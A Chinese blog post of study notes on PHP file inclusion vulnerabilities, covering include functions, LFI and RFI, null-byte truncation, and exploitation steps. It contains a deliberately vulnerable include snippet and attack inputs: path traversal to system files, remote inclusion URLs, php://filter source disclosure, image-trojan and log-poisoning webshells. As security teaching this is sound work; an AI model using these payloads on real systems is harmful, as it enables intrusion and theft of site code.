[网络安全学习篇61]:文件包含

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件)

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入

[网络安全学习篇60]:文件上传

[网络安全学习篇61]:文件包含(本篇)

下期博文:

[网络安全学习篇62]:CSRF 攻击

 

Table of Contents

 

文件包含

文件包含漏洞

漏洞产生原因

PHP中的文件包含

*语句

*相关配置

文件包含示例

*本地文件包含(LFI)

*远程文件包含(RFI)

漏洞原理及特点

*特点

空字符安全绕过

文件包含漏洞的利用

*读取敏感文件

*直接包含图片木马

*包含木马写shell

*PHP 封装协议--访问本地文件

*PHP 封装协议--传输PHP 文件

*PHP 封装协议--执行PHP 命令


文件包含

文件包含漏洞

    留言    连接数据库

    查看留言    连接数据库

    登录    连接数据库

    注册    连接数据库

    代码的重复

    连接数据库 放在单独的文件

 

程序开发人员通常会把可重复使用的函数写到单个文件中,使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含

 

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/ASP.net程序中比较少。本文以PHP 为例,说明文件包含漏洞

 

漏洞产生原因

1、Web 应用实现了动态包含

2、动态包含的文件路径参数,客户端可控

 

PHP中的文件包含

*语句

    PHP 中提供了四个文件包含的函数,四个函数之间略有区别

函数

区别

include()

文件包含失败,会产生警告,脚本会继续执行

include_once()

与include() 功能相同,文件只会被包含一次

require()

文件包含失败是,会产生错误,直接结束脚本执行

require_once()

与require() 功能相同 ,文件只会被包含一次

*相关配置

文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分(虽然PHP 官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(HTTP,FTP,PHP 伪协议)就是可以远程加载文件。我们可以通过php.ini 配置文件来进行配置。

allow_url_fopen=On/Off

本地文件包含(LFI)

allow_url_include=On/Off

远程文件包含(RFI)

文件包含示例

我们可以通过以下简单代码来测试文件包含漏洞

-----------

$path=$GET_['path'];

include_once("./inc.php");

echo "

This is inlcude_once.php!

";

include_once $path;

?>

----------

*本地文件包含(LFI)

本地文件包含就是我们通过相对路径的方式找到文件,然后包含

url

[http://localhost/include/include_once.php?path=info.php]

 

*远程文件包含(RFI)

远程文件包含就是我们可以通过http(s)或者ftp 等方式,远程加载文件

url

[http://localhost/include/include_once.php?path=http://192.168.1.200/include/info.php]

[http://localhost/include/include_once.php?path=ftp://admin:[email protected]/info.php]

 

漏洞原理及特点

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能是,有类似以上测试代码的设计,实现动态包含,就会有文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的净化,客户端可以影响或控制文件包含的路径,就会产生文件包含漏洞。

 

*特点

PHP 提供的文件包含功能非常强大,有以下特点

@ 无视文件扩展名读取文件

包含文件时,PHP 会读取文件的源码,包括图片文件。尝试包含图片

[http://localhost/include/include_once.php?path=simle.jpg]

我们会发现打开图片不是图像而是图片的源码

 

@ 无条件解析PHP 代码

文件包含在读取文件源码的同时,如果遇到符合PHP 语法规范的代码,就会无条件执行。例如将info.php的后缀名改成info.rar,依然能够显示phpinfo() 的信息。

与此同时,也为图片木马提供了一种利用的方法

 

空字符安全绕过

    空字符安全限制绕过,是PHP 小于5.3.4 版本的一个漏洞,CVE编号是CVE-2006-7243.这个漏洞就是PHP 接收来自于路径名中的空(NULL)字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,这就是我们之前讲过的00 截断。00 截断攻击也会体现在文件包含中。

Web 应用在设计的时候,经常会包含模版文件,简单程序如下

-----------------

if(isset($_GET['path'])){

    include $_GET['path'].".html";

}else{

    echo "?path=[path]";

}

?>

----------------

这个简单的代码限制了被包含的文件的后缀名是html 

[http://localhost/include/00/?path=info]

此处我们通过00 截断来包含任意文件,比如同级目录下的inc.php 文件。提交变量

[http:localhost/incldue/00/?path=info.php%00]

注意:要想本实验成功需要关闭魔术引号

magic_quotes_gpc=Off

 

文件包含漏洞的利用

*读取敏感文件

    我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

    @ 目标主机存在(目标文件的路径,绝对路径,相对路径)

    @ 具有文件可读权限

    提交参数,读取本地host 文件

    [?path=c:\windows\System32\drivers\etc\hosts]

    [?path=..\..\..\..\..\..\windows\System32\drivers\etc\hosts]

 

*直接包含图片木马

    可以利用文件包含漏洞直接包含图片木马

    [?path=pingYjh.png]

    使用菜刀或蚁剑连接

 

*包含木马写shell

    我们可以将如下代码写入图片中

    ");?>

    该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为[],当我们直接包含图片的时候,这段代码就会被执行了。

 

*PHP 封装协议--访问本地文件

    我们可以使用php 的file 协议访问本地系统文件,提交参数

    [?path=file://c:\windows\System32\drivers\etc\hosts]

 

*PHP 封装协议--传输PHP 文件

    可以使用以下参数来传送任意PHP 文件

    [?path=php://filter/read=convert.base64-encode/resource=./inc.php]

    然后将获取到的字符串进行base64 解码即可

    获取网站的源码

 

*PHP 封装协议--执行PHP 命令

    我们还可以利用PHP 的封装协议来执行PHP 命令

[网络安全学习篇61]:文件包含_第1张图片

注:后面两个必须要在开启远程文件上传配置的情况下

 

!已知一个网站存在本地文件包含漏洞,没有我呢间上传API,如何利用?

    1、包含本地日志文件getshell

        日志文件的路径

[网络安全学习篇61]:文件包含_第2张图片

        [?path=c:\phpstudy\apache\log\error.log]

        用蚁剑连接    

    2、包含session 文件,造成sessionId 泄露

  !metinfov5.0.4 文件包含漏洞代码审计


参考文献:

千峰网络信息安全开源课程

你可能感兴趣的:(千峰网络安全视频笔记篇,渗透测试)